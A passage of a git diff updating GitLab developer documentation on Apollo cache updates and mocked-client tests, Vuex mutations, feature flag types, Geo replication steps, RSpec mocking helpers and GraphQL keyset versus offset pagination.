client.readQuery({ query }); + +const data = produce(sourceData, draftState => { + draftState.commits.push(newCommit); +}); + +client.writeQuery({ + query, + data, +}); +... +``` + +As shown in the code example by using `produce`, we can perform any kind of direct manipulation of the +`draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` will be generated. + +Finally, to verify whether the immutable cache update is working properly, we need to change +`assumeImmutableResults` to `true` in the `default client config` (see [Apollo Client](#apollo-client) for more info). + +If everything is working properly `assumeImmutableResults` should remain set to `true`. + ## Usage in Vue To use Vue Apollo, import the [Vue Apollo](https://github.com/vuejs/vue-apollo) plugin as well @@ -602,6 +662,174 @@ it('calls mutation on submitting form ', () => { }); ``` +### Testing with mocked Apollo Client + +To test the logic of Apollo cache updates, we might want to mock an Apollo Client in our unit tests. To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional component factory. This way we only create Apollo Client instance when it's necessary: + +```javascript +function createComponent() {...} + +function createComponentWithApollo() {...} +``` + +We use [`mock-apollo-client`](https://www.npmjs.com/package/mock-apollo-client) library to mock Apollo client in tests. + +```javascript +import { createMockClient } from 'mock-apollo-client'; +``` + +Then we need to inject `VueApollo` to Vue local instance (`localVue.use()` can also be called within `createComponentWithApollo()`) + +```javascript +import VueApollo from 'vue-apollo'; +import { createLocalVue } from '@vue/test-utils'; + +const localVue = createLocalVue(); +localVue.use(VueApollo); +``` + +After this, on the global `describe`, we should create a variable for `fakeApollo`: + +```javascript +describe('Some component with Apollo mock', () => { + let wrapper; + let fakeApollo +}) +``` + +Within component factory, we need to define an array of _handlers_ for every query or mutation: + +```javascript +import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql'; +import permissionsQuery from '~/design_management/graphql/queries/design_permissions.query.graphql'; +import moveDesignMutation from '~/design_management/graphql/mutations/move_design.mutation.graphql'; + +describe('Some component with Apollo mock', () => { + let wrapper; + let fakeApollo; + + function createComponentWithApollo() { + const requestHandlers = [ + [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], + [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], + ]; + } +}) +``` + +After this, we need to create a mock Apollo Client instance using a helper: + +```javascript +import createMockApollo from 'jest/helpers/mock_apollo_helper'; + +describe('Some component with Apollo mock', () => { + let wrapper; + let fakeApollo; + + function createComponentWithApollo() { + const requestHandlers = [ + [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], + [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], + ]; + + fakeApollo = createMockApollo(requestHandlers); + wrapper = shallowMount(Index, { + localVue, + apolloProvider: fakeApollo, + }); + } +}) +``` + +NOTE: **Note:** +When mocking resolved values, make sure the structure of the response is the same as actual API response: i.e. root property should be `data` for example + +When testing queries, please keep in mind they are promises, so they need to be _resolved_ to render a result. Without resolving, we can check the `loading` state of the query: + +```javascript +it('renders a loading state', () => { + createComponentWithApollo(); + + expect(wrapper.find(LoadingSpinner).exists()).toBe(true) +}); + +it('renders designs list', async () => { + createComponentWithApollo(); + + jest.runOnlyPendingTimers(); + await wrapper.vm.$nextTick(); + + expect(findDesigns()).toHaveLength(3); +}); +``` + +If we need to test a query error, we need to mock a rejected value as request handler: + +```javascript +function createComponentWithApollo() { + ... + const requestHandlers = [ + [getDesignListQuery, jest.fn().mockRejectedValue(new Error('GraphQL error')], + ]; + ... +} +... + +it('renders error if query fails', async () => { + createComponent() + + jest.runOnlyPendingTimers(); + await wrapper.vm.$nextTick(); + + expect(wrapper.find('.test-error').exists()).toBe(true) +}) +``` + +Request handlers can also be passed to component factory as a parameter. + +Mutations could be tested the same way with a few additional `nextTick`s to get the updated result: + +```javascript +function createComponentWithApollo({ + moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse), +}) { + moveDesignHandler = moveHandler; + + const requestHandlers = [ + [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], + [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], + [moveDesignMutation, moveDesignHandler], + ]; + + fakeApollo = createMockApollo(requestHandlers); + wrapper = shallowMount(Index, { + localVue, + apolloProvider: fakeApollo, + }); +} +... +it('calls a mutation with correct parameters and reorders designs', async () => { + createComponentWithApollo({}); + + wrapper.find(VueDraggable).vm.$emit('change', { + moved: { + newIndex: 0, + element: designToMove, + }, + }); + + expect(moveDesignHandler).toHaveBeenCalled(); + + await wrapper.vm.$nextTick(); + + expect( + findDesigns() + .at(0) + .props('id'), + ).toBe('2'); +}); +``` + ## Handling errors GitLab's GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). diff --git a/doc/development/fe_guide/style/index.md b/doc/development/fe_guide/style/index.md index 8d70d4db893..4ca409664de 100644 --- a/doc/development/fe_guide/style/index.md +++ b/doc/development/fe_guide/style/index.md @@ -1,11 +1,11 @@ # GitLab development style guides -See below the relevant style guides, guidelines, linting, and other information for developing GitLab. +See below for the relevant style guides, guidelines, linting, and other information for developing GitLab. ## JavaScript style guide We use `eslint` to enforce our [JavaScript style guides](javascript.md). Our guide is based on -the excellent [AirBnB](https://github.com/airbnb/javascript) style guide with a few small +the excellent [Airbnb](https://github.com/airbnb/javascript) style guide with a few small changes. ## SCSS style guide diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md index 9573dd36e63..4badf3f0845 100644 --- a/doc/development/fe_guide/vuex.md +++ b/doc/development/fe_guide/vuex.md @@ -55,10 +55,6 @@ export const createStore = () => }); ``` -_Note:_ Until this -[RFC](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/20) is implemented, -the above will need to disable the `import/prefer-default-export` ESLint rule. - ### `state.js` The first thing you should do before writing any code is to design the state. @@ -220,12 +216,15 @@ A mutation written like this is harder to maintain and more error prone. We shou // Good export default { [types.MARK_AS_CLOSED](state, itemId) { - const item = state.items.find(i => i.id == itemId); - Vue.set(item, 'closed', true) + const item = state.items.find(x => x.id === itemId); - state.items.splice(index, 1, item) - } -} + if (!item) { + return; + } + + Vue.set(item, 'closed', true); + }, +}; ``` This approach is better because: diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index 09260be1264..605b5919e0b 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -1,3 +1,10 @@ +--- +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +--- + # Feature flag controls ## Access diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md index 9b30187fcd1..29bd0ca0a7e 100644 --- a/doc/development/feature_flags/development.md +++ b/doc/development/feature_flags/development.md @@ -1,3 +1,10 @@ +--- +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +--- + # Developing with feature flags This document provides guidelines on how to use feature flags @@ -18,9 +25,7 @@ This document is the subject of continued work as part of an epic to [improve in ## Types of feature flags -Currently, only a single type of feature flag is available. -Additional feature flag types will be provided in the future, -with descriptions for their usage. +Choose a feature flag type that matches the expected usage. ### `development` type @@ -33,6 +38,53 @@ ideally created using the [Feature Flag Roll Out template](https://gitlab.com/gi NOTE: **Note:** This is the default type used when calling `Feature.enabled?`. +### `ops` type + +`ops` feature flags are long-lived feature flags that control operational aspects +of GitLab's behavior. For example, feature flags that disable features that might +have a performance impact, like special Sidekiq worker behavior. + +`ops` feature flags likely do not have rollout issues, as it is hard to +predict when they will be enabled or disabled. + +To use `ops` feature flags, you must append `type: :ops` to `Feature.enabled?` +invocations: + +```ruby +# Check if feature flag is enabled +Feature.enabled?(:my_ops_flag, project, type: ops) + +# Check if feature flag is disabled +Feature.disabled?(:my_ops_flag, project, type: ops) + +# Push feature flag to Frontend +push_frontend_feature_flag(:my_ops_flag, project, type: :ops) +``` + +### `licensed` type + +`licensed` feature flags are used to temporarily disable licensed features. There +should be a one-to-one mapping of `licensed` feature flags to licensed features. + +`licensed` feature flags must be `default_enabled: true`, because that's the only +supported option in the current implementation. This is under development as per +the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667). + +The `licensed` type has a dedicated set of functions to check if a licensed +feature is available for a project or namespace. This check validates +if the license is assigned to the namespace and feature flag itself. +The `licensed` feature flag has the same name as a licensed feature name: + +```ruby +# Good: checks if feature flag is enabled +project.feature_available?(:my_licensed_feature) +namespace.feature_available?(:my_licensed_feature) + +# Bad: licensed flag must be accessed via `feature_available?` +Feature.enabled?(:my_licensed_feature, type: :licensed) +push_frontend_feature_flag(:my_licensed_feature, type: :licensed) +``` + ## Feature flag definition and validation > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229161) in GitLab 13.3. @@ -58,7 +110,7 @@ Each feature flag is defined in a separate YAML file consisting of a number of f |---------------------|----------|----------------------------------------------------------------| | `name` | yes | Name of the feature flag. | | `type` | yes | Type of feature flag. | -| `default_enabled` | yes | The default state of the feature flag that is strongly validated, with `default_enabled:` passed as an argument. | +| `default_enabled` | yes | The default state of the feature flag that is strictly validated, with `default_enabled:` passed as an argument. | | `introduced_by_url` | no | The URL to the Merge Request that introduced the feature flag. | | `rollout_issue_url` | no | The URL to the Issue covering the feature flag rollout. | | `group` | no | The [group](https://about.gitlab.com/handbook/product/product-categories/#devops-stages) that owns the feature flag. | @@ -77,16 +129,16 @@ Only feature flags that have a YAML definition file can be used when running the ```shell $ bin/feature-flag my-feature-flag ->> Please specify the group introducing feature flag, like `group::apm`: +>> Specify the group introducing the feature flag, like `group::apm`: ?> group::memory ->> If you have MR open, can you paste the URL here? (or enter to skip) +>> URL of the MR introducing the feature flag (enter to skip): ?> https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38602 ->> Open this URL and fill the rest of details: +>> Open this URL and fill in the rest of the details: https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue%5Btitle%5D=%5BFeature+flag%5D+Rollout+of+%60test-flag%60&issuable_template=Feature+Flag+Roll+Out ->> Paste URL of `rollout issue` here, or enter to skip: +>> URL of the rollout issue (enter to skip): ?> https://gitlab.com/gitlab-org/gitlab/-/issues/232533 create config/feature_flags/development/test-flag.yml --- @@ -140,6 +192,21 @@ if Feature.disabled?(:my_feature_flag, project, default_enabled: true) end ``` +If not specified, the default feature flag type for `Feature.enabled?` and `Feature.disabled?` +is `type: development`. For all other feature flag types, you must specify the `type:`: + +```ruby +if Feature.enabled?(:feature_flag, project, type: :ops) + # execute code if ops feature flag is enabled +else + # execute code if ops feature flag is disabled +end + +if Feature.disabled?(:my_feature_flag, project, type: :ops) + # execute code if feature flag is disabled +end +``` + ### Frontend Use the `push_frontend_feature_flag` method for frontend code, which is @@ -185,6 +252,15 @@ before_action do end ``` +If not specified, the default feature flag type for `push_frontend_feature_flag` +is `type: development`. For all other feature flag types, you must specify the `type:`: + +```ruby +before_action do + push_frontend_feature_flag(:vim_bindings, project, type: :ops) +end +``` + ### Feature actors **It is strongly advised to use actors with feature flags.** Actors provide a simple @@ -229,7 +305,7 @@ used as an actor for `Feature.enabled?`. ### Feature flags for licensed features If a feature is license-gated, there's no need to add an additional -explicit feature flag check since the flag will be checked as part of the +explicit feature flag check since the flag is checked as part of the `License.feature_available?` call. Similarly, there's no need to "clean up" a feature flag once the feature has reached general availability. @@ -238,12 +314,16 @@ The [`Project#feature_available?`](https://gitlab.com/gitlab-org/gitlab/blob/4cc [`License.feature_available?`](https://gitlab.com/gitlab-org/gitlab/blob/4cc1c62918aa4c31750cb21dfb1a6c3492d71080/ee/app/models/license.rb#L293-300) (EE) methods all implicitly check for a by default enabled feature flag with the same name as the provided argument. -You'd still want to use an explicit `Feature.enabled?` check if your new feature -isn't gated by a License or Plan. - **An important side-effect of the implicit feature flags mentioned above is that unless the feature is explicitly disabled or limited to a percentage of users, -the feature flag check will default to `true`.** +the feature flag check defaults to `true`.** + +NOTE: **Note:** +Due to limitations with `feature_available?`, the YAML definition for `licensed` feature +flags accepts only `default_enabled: true`. This is under development as per the +[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667). + +#### Alpha/beta licensed feature flags This is relevant when developing the feature using [several smaller merge requests](https://about.gitlab.com/handbook/values/#make-small-merge-requests), or when the feature is considered to be an @@ -259,13 +339,31 @@ GitLab.com and self-managed instances, you should use the method, according to our [definitions](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga). This ensures the feature is disabled unless the feature flag is _explicitly_ enabled. +CAUTION: **Caution:** +If `alpha_feature_available?` or `beta_feature_available?` is used, the YAML definition +for the feature flag must use `default_enabled: [false, true]`, because the usage +of the feature flag is undefined. These methods may change, as per the +[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218667). + +The resulting YAML should be similar to: + +```yaml +name: scoped_labels +group: group::memory +type: licensed +# The `default_enabled:` is undefined +# as `feature_available?` uses `default_enabled: true` +# as `beta_feature_available?` uses `default_enabled: false` +default_enabled: [false, true] +``` + ### Feature groups Feature groups must be defined statically in `lib/feature.rb` (in the `.register_feature_groups` method), but their implementation can obviously be -dynamic (querying the DB etc.). +dynamic (querying the DB, for example). -Once defined in `lib/feature.rb`, you will be able to activate a +Once defined in `lib/feature.rb`, you can to activate a feature for a given feature group via the [`feature_group` parameter of the features API](../../api/features.md#set-or-create-a-feature) ### Enabling a feature flag locally (in development) @@ -276,7 +374,7 @@ In the rails console (`rails c`), enter the following command to enable a featur Feature.enable(:feature_flag_name) ``` -Similarly, the following command will disable a feature flag: +Similarly, the following command disables a feature flag: ```ruby Feature.disable(:feature_flag_name) @@ -290,7 +388,7 @@ Feature.enable(:feature_flag_name, Project.find_by_full_path("root/my-project")) ## Feature flags in tests -Introducing a feature flag into the codebase creates an additional codepath that should be tested. +Introducing a feature flag into the codebase creates an additional code path that should be tested. It is strongly advised to test all code affected by a feature flag, both when **enabled** and **disabled** to ensure the feature works properly. @@ -325,10 +423,10 @@ Feature.enabled?(:ci_live_trace, project2) # => false The behavior of FlipperGate is as follows: -1. You can enable an override for a specified actor to be enabled +1. You can enable an override for a specified actor to be enabled. 1. You can disable (remove) an override for a specified actor, - falling back to default state -1. There's no way to model that you explicitly disable a specified actor + falling back to the default state. +1. There's no way to model that you explicitly disabled a specified actor. ```ruby Feature.enable(:my_feature) @@ -369,7 +467,7 @@ Feature.enable_percentage_of_time(:my_feature_3, 50) Feature.enable_percentage_of_actors(:my_feature_4, 50) ``` -Each feature flag that has a defined state will be persisted +Each feature flag that has a defined state is persisted during test execution time: ```ruby diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index 0c1e34edc6f..2643571aec3 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -1,15 +1,46 @@ +--- +type: index, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +--- + # Feature flags in development of GitLab -[Feature Flags](../../operations/feature_flags.md) -can be used to gradually roll out changes, be -it a new feature, or a performance improvement. By using feature flags, we can -comfortably measure the impact of our changes, while still being able to easily -disable those changes, without having to revert an entire release. +Feature flags can be used to gradually deploy changes, regardless of whether +they are new features or performance improvements. By using feature flags, +you can determine the impact of GitLab-directed changes, while still being able +to disable those changes without having to revert an entire release. + +Before using feature flags for GitLab's development, review the following development guides: + +NOTE: **Note:** +The feature flags used by GitLab to deploy its own features **are not** the same +as the [feature flags offered as part of the product](../../operations/feature_flags.md). + +For an overview about starting with feature flags in GitLab's development, +use this [training template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/.gitlab/issue_templates/feature-flag-training.md). + +Development guides: + +- [Process for using features flags](process.md): When you should use + feature flags in the development of GitLab, what's the cost of using them, + and how to include them in a release. +- [Developing with feature flags](development.md): Learn about the types of + feature flags, their definition and validation, how to create them, frontend and + backend details, and other information. +- [Documenting features deployed behind feature flags](../documentation/feature_flags.md): + How to document features deployed behind feature flags, and how to update the + documentation for features' flags when their states change. +- [Controlling feature flags](controls.md): Learn the process for deploying + a new feature, enabling it on GitLab.com, communicating the change, + logging, and cleaning up. -Before using feature flags for GitLab's development, read through the following: +User guides: -- [Process for using features flags](process.md). -- [Developing with feature flags](development.md). -- [Controlling feature flags](controls.md). -- [Documenting features deployed behind feature flags](../documentation/feature_flags.md). -- [How GitLab administrators can enable and disable features behind flags](../../administration/feature_flags.md). +- [How GitLab administrators can enable and disable features behind flags](../../administration/feature_flags.md): + An explanation for GitLab administrators about how they can + enable or disable GitLab features behind feature flags. +- [What "features deployed behind flags" means to the GitLab user](../../user/feature_flags.md): + An explanation for GitLab users regarding how certain features + might not be available to them until they are enabled. diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md index 5dc3cf44a6e..b327eec58e8 100644 --- a/doc/development/feature_flags/process.md +++ b/doc/development/feature_flags/process.md @@ -1,3 +1,10 @@ +--- +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +--- + # Feature flags process ## Feature flags for user applications diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md new file mode 100644 index 00000000000..cb883471adf --- /dev/null +++ b/doc/development/features_inside_dot_gitlab.md @@ -0,0 +1,16 @@ +# Features inside the `.gitlab/` directory + +We have implemented standard features that depend on configuration files in the `.gitlab/` directory. You can find `.gitlab/` in various GitLab repositories. +When implementing new features, please refer to these existing features to avoid conflicts: + +- [Custom Dashboards](../operations/metrics/dashboards/index.md#add-a-new-dashboard-to-your-project): `.gitlab/dashboards/`. +- [Issue Templates](../user/project/description_templates.md#creating-issue-templates): `.gitlab/issue_templates/`. +- [Merge Request Templates](../user/project/description_templates.md#creating-merge-request-templates): `.gitlab/merge_request_templates/`. +- [GitLab Kubernetes Agents](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/configuration_repository.md#layout): `.gitlab/agents/`. +- [CODEOWNERS](../user/project/code_owners.md#how-to-set-up-code-owners): `.gitlab/CODEOWNERS`. +- [Route Maps](../ci/review_apps/#route-maps): `.gitlab/route-map.yml`. +- [Customize Auto DevOps Helm Values](../topics/autodevops/customize.md#customize-values-for-helm-chart): `.gitlab/auto-deploy-values.yaml`. +- [GitLab managed apps CI/CD](../user/clusters/applications.md#usage): `.gitlab/managed-apps/config.yaml`. +- [Insights](../user/project/insights/index.md#configure-your-insights): `.gitlab/insights.yml`. +- [Service Desk Templates](../user/project/service_desk.md#using-customized-email-templates): `.gitlab/service_desk_templates/`. +- [Web IDE](../user/project/web_ide/#web-ide-configuration-file): `.gitlab/.gitlab-webide.yml`. diff --git a/doc/development/geo.md b/doc/development/geo.md index 57959b07e49..5b4af1c9931 100644 --- a/doc/development/geo.md +++ b/doc/development/geo.md @@ -147,7 +147,7 @@ request must also include the SHA256 sum of the file. An example JWT payload looks like: ```yaml -{ "data": { sha256: "31806bb23580caab78040f8c45d329f5016b0115" }, iat: "1234567890" } +{"data": {sha256: "31806bb23580caab78040f8c45d329f5016b0115"}, iat: "1234567890"} ``` If the requested file matches the requested SHA256 sum, then the Geo diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md index 64c9030e3dd..b720a6ca47e 100644 --- a/doc/development/geo/framework.md +++ b/doc/development/geo/framework.md @@ -128,7 +128,7 @@ When this is set in place, it's easy to access the replicator through the model: ```ruby -package_file = Packages::PackageFile.find(4) # just a random id as example +package_file = Packages::PackageFile.find(4) # just a random ID as example replicator = package_file.replicator ``` @@ -235,11 +235,10 @@ For example, to add support for files referenced by a `Widget` model with a `ee/lib/gitlab/geo.rb`: ```ruby - def self.replicator_classes - classes = [::Geo::PackageFileReplicator, - ::Geo::WidgetReplicator] - - classes.select(&:enabled?) + REPLICATOR_CLASSES = [ + ::Geo::PackageFileReplicator, + ::Geo::WidgetReplicator + ] end ``` @@ -315,10 +314,6 @@ For example, to add support for files referenced by a `Widget` model with a end ``` - The method `has_create_events?` should return `true` in most of the cases. - However, if the entity you add doesn't have the create event, don't add the - method at all. - 1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`. 1. Add `widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`. @@ -416,18 +411,26 @@ for verification state to the widgets table: # frozen_string_literal: true class AddVerificationFailureLimitToWidgets < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + DOWNTIME = false disable_ddl_transaction! - def change - add_text_limit :widgets, :verification_failure, 255 + CONSTRAINT_NAME = 'widget_verification_failure_text_limit' + + def up + add_text_limit :widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME + end + + def down + remove_check_constraint(:widget, CONSTRAINT_NAME) end end ``` 1. Add a partial index on `verification_failure` and `verification_checksum` to ensure - re-verification can be performed efficiently. Add a migration in `ee/db/geo/migrate/`: + re-verification can be performed efficiently: ```ruby # frozen_string_literal: true @@ -453,9 +456,9 @@ for verification state to the widgets table: ##### Option 2: Create a separate `widget_states` table with verification state fields -1. Add a migration in `ee/db/geo/migrate/` to create a `widget_states` table and add a - partial index on `verification_failure` and `verification_checksum` to ensure - re-verification can be performed efficiently. Order the columns according to [our guidelines](../ordering_table_columns.md): +1. Create a `widget_states` table and add a partial index on `verification_failure` and + `verification_checksum` to ensure re-verification can be performed efficiently. Order + the columns according to [our guidelines](../ordering_table_columns.md): ```ruby # frozen_string_literal: true @@ -520,44 +523,37 @@ Widgets should now be verified by Geo! Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus. -1. Add fields `widget_count`, `widget_checksummed_count`, - `widget_checksum_failed_count`, `widget_synced_count`, - `widget_failed_count`, and `widget_registry_count` to - `GeoNodeStatus#RESOURCE_STATUS_FIELDS` array in - `ee/app/models/geo_node_status.rb`. -1. Add the same fields to `GeoNodeStatus#PROMETHEUS_METRICS` hash in - `ee/app/models/geo_node_status.rb`. -1. Add the same fields to `Sidekiq metrics` table in - `doc/administration/monitoring/prometheus/gitlab_metrics.md`. -1. Add the same fields to `GET /geo_nodes/status` example response in +1. Add fields `widgets_count`, `widgets_checksummed_count`, + `widgets_checksum_failed_count`, `widgets_synced_count`, + `widgets_failed_count`, and `widgets_registry_count` to + `GET /geo_nodes/status` example response in `doc/api/geo_nodes.md`. -1. Add the same fields to `ee/spec/models/geo_node_status_spec.rb` and - `ee/spec/factories/geo_node_statuses.rb`. -1. Set `widget_count` in `GeoNodeStatus#load_data_from_current_node`: +1. Add the same fields to `GET /geo_nodes/status` example response in + `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`. +1. Add fields `geo_widgets`, `geo_widgets_checksummed`, + `geo_widgets_checksum_failed`, `geo_widgets_synced`, + `geo_widgets_failed`, and `geo_widgets_registry` to + `Sidekiq metrics` table in + `doc/administration/monitoring/prometheus/gitlab_metrics.md`. +1. Add the following to the parameterized table in + `ee/spec/models/geo_node_status_spec.rb`: ```ruby - self.widget_count = Geo::WidgetReplicator.primary_total_count + Geo::WidgetReplicator | :widget | :geo_widget_registry ``` -1. Add `GeoNodeStatus#load_widgets_data` to set `widget_synced_count`, - `widget_failed_count`, and `widget_registry_count`: +1. Add the following to `spec/factories/widgets.rb`: ```ruby - def load_widget_data - self.widget_synced_count = Geo::WidgetReplicator.synced_count - self.widget_failed_count = Geo::WidgetReplicator.failed_count - self.widget_registry_count = Geo::WidgetReplicator.registry_count + trait(:checksummed) do + with_file + verification_checksum { 'abc' } end - ``` -1. Call `GeoNodeStatus#load_widgets_data` in - `GeoNodeStatus#load_secondary_data`. - -1. Set `widget_checksummed_count` and `widget_checksum_failed_count` in - `GeoNodeStatus#load_verification_data`: - - ```ruby - self.widget_checksummed_count = Geo::WidgetReplicator.checksummed_count self.widget_checksum_failed_count = Geo::WidgetReplicator.checksum_failed_count + trait(:checksum_failure) do + with_file + verification_failure { 'Could not calculate the checksum' } + end ``` Widget replication and verification metrics should now be available in the API, @@ -573,7 +569,7 @@ the Admin Area UI, and Prometheus! null: true, resolver: ::Resolvers::Geo::WidgetRegistriesResolver, description: 'Find widget registries on this Geo node', - feature_flag: :geo_self_service_framework + feature_flag: :geo_widget_replication ``` 1. Add the new `widget_registries` field name to the `expected_fields` array in diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md index 6dff9deb59d..f7b44e74c17 100644 --- a/doc/development/gotchas.md +++ b/doc/development/gotchas.md @@ -106,7 +106,7 @@ end Using `any_instance` to stub a method (elasticsearch_indexing) that has been defined on a prepended module (EE::ApplicationSetting) is not supported. ``` -### Alternative: `expect_next_instance_of` or `allow_next_instance_of` +### Alternative: `expect_next_instance_of`, `allow_next_instance_of`, `expect_next_found_instance_of` or `allow_next_found_instance_of` Instead of writing: @@ -130,8 +130,21 @@ end allow_next_instance_of(Project) do |project| allow(project).to receive(:add_import_job) end + +# Do this: +expect_next_found_instance_of(Project) do |project| + expect(project).to receive(:add_import_job) +end + +# Do this: +allow_next_found_instance_of(Project) do |project| + allow(project).to receive(:add_import_job) +end ``` +_**Note:** Since Active Record is not calling the `.new` method on model classes to instantiate the objects, +you should use `expect_next_found_instance_of` or `allow_next_found_instance_of` mock helpers to setup mock on objects returned by Active Record query & finder methods._ + If we also want to initialize the instance with some particular arguments, we could also pass it like: diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md new file mode 100644 index 00000000000..bf9eaa99158 --- /dev/null +++ b/doc/development/graphql_guide/pagination.md @@ -0,0 +1,142 @@ +# GraphQL pagination + +## Types of pagination + +GitLab uses two primary types of pagination: **offset** and **keyset** +(sometimes called cursor-based) pagination. +The GraphQL API mainly uses keyset pagination, falling back to offset pagination when needed. + +### Offset pagination + +This is the traditional, page-by-page pagination, that is most common, +and used across much of GitLab. You can recognize it by +a list of page numbers near the bottom of a page, which, when clicked, +take you to that page of results. + +For example, when you click **Page 100**, we send `100` to the +backend. For example, if each page has say 20 items, the +backend calculates `20 * 100 = 2000`, +and it queries the database by offsetting (skipping) the first 2000 +records and pulls the next 20. + +```plaintext +page number * page size = where to find my records +``` + +There are a couple of problems with this: + +- Performance. When we query for page 100 (which gives an offset of + 2000), then the database has to scan through the table to that + specific offset, and then pick up the next 20 records. As the offset + increases, the performance degrades quickly. + Read more in + [The SQL I Love <3. Efficient pagination of a table with 100M records](http://allyouneedisbackend.com/blog/2017/09/24/the-sql-i-love-part-1-scanning-large-table/). + +- Data stability. When you get the 20 items for page 100 (at + offset 2000), GitLab shows those 20 items. If someone then + deletes or adds records in page 99 or before, the items at + offset 2000 become a different set of items. You can even get into a + situation where, when paginating, you could skip over items, + because the list keeps changing. + Read more in + [Pagination: You're (Probably) Doing It Wrong](https://coderwall.com/p/lkcaag/pagination-you-re-probably-doing-it-wrong). + +### Keyset pagination + +Given any specific record, if you know how to calculate what comes +after it, you can query the database for those specific records. + +For example, suppose you have a list of issues sorted by creation date. +If you know the first item on a page has a specific date (say Jan 1), you can ask +for all records that were created after that date and take the first 20. +It no longer matters if many are deleted or added, as you always ask for +the ones after that date, and so get the correct items. + +Unfortunately, there is no easy way to know if the issue created +on Jan 1 is on page 20 or page 100. + +Some of the benefits and tradeoffs of keyset pagination are + +- Performance is much better. + +- Data stability is greater since you're not going to miss records due to + deletions or insertions. + +- It's the best way to do infinite scrolling. + +- It's more difficult to program and maintain. Easy for `updated_at` and + `sort_order`, complicated (or impossible) for complex sorting scenarios. + +## Implementation + +When pagination is supported for a query, GitLab defaults to using +keyset pagination. You can see where this is configured in +[`pagination/connections.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/graphql/pagination/connections.rb). +If a query returns `ActiveRecord::Relation`, keyset pagination is automatically used. + +This was a conscious decision to support performance and data stability. + +However, there are some cases where we have to use the offset +pagination connection, `OffsetActiveRecordRelationConnection`, such as when +sorting by label priority in issues, due to the complexity of the sort. + +<!-- ### Keyset pagination --> + +<!-- ### Offset pagination --> + +<!-- ### External pagination --> + +## Testing + +Any GraphQL field that supports pagination and sorting should be tested +using the sorted paginated query shared example found in +[`graphql/sorted_paginated_query_shared_examples.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb). +It helps verify that your sort keys are compatible and that cursors +work properly. + +This is particularly important when using keyset pagination, as some sort keys might not be supported. + +Add a section to your request specs like this: + +```ruby +describe 'sorting and pagination' do + ... +end +``` + +You can then use +[`issues_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/requests/api/graphql/project/issues_spec.rb) +as an example to construct your tests. + +[`graphql/sorted_paginated_query_shared_examples.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb) +also contains some documentation on how to use the shared examples. + +The shared example requires certain `let` variables and methods to be set up: + +```ruby +describe 'sorting and pagination' do + let(:sort_project) { create(:project, :public) } + let(:data_path) { [:project, :issues] } + + def pagination_query(params, page_info) + graphql_query_for( + 'project', + { 'fullPath' => sort_project.full_path }, + query_graphql_field('issues', params, "#{page_info} edges { node { id } }") + ) + end + + def pagination_results_data(data) + data.map { |issue| issue.dig('node', 'iid').to_i } + end + + context 'when sorting by weight' do + ... + context 'when ascending' do + it_behaves_like 'sorted paginated query' do + let(:sort_param) { 'WEIGHT_ASC' } + let(:first_param) { 2 } + let(:expected_results) { [weight_issue3.iid, weight_issue5.iid, weight_issue1.iid, weight_issue4.iid, weight_issue2.iid] } + end + end +``` diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md index 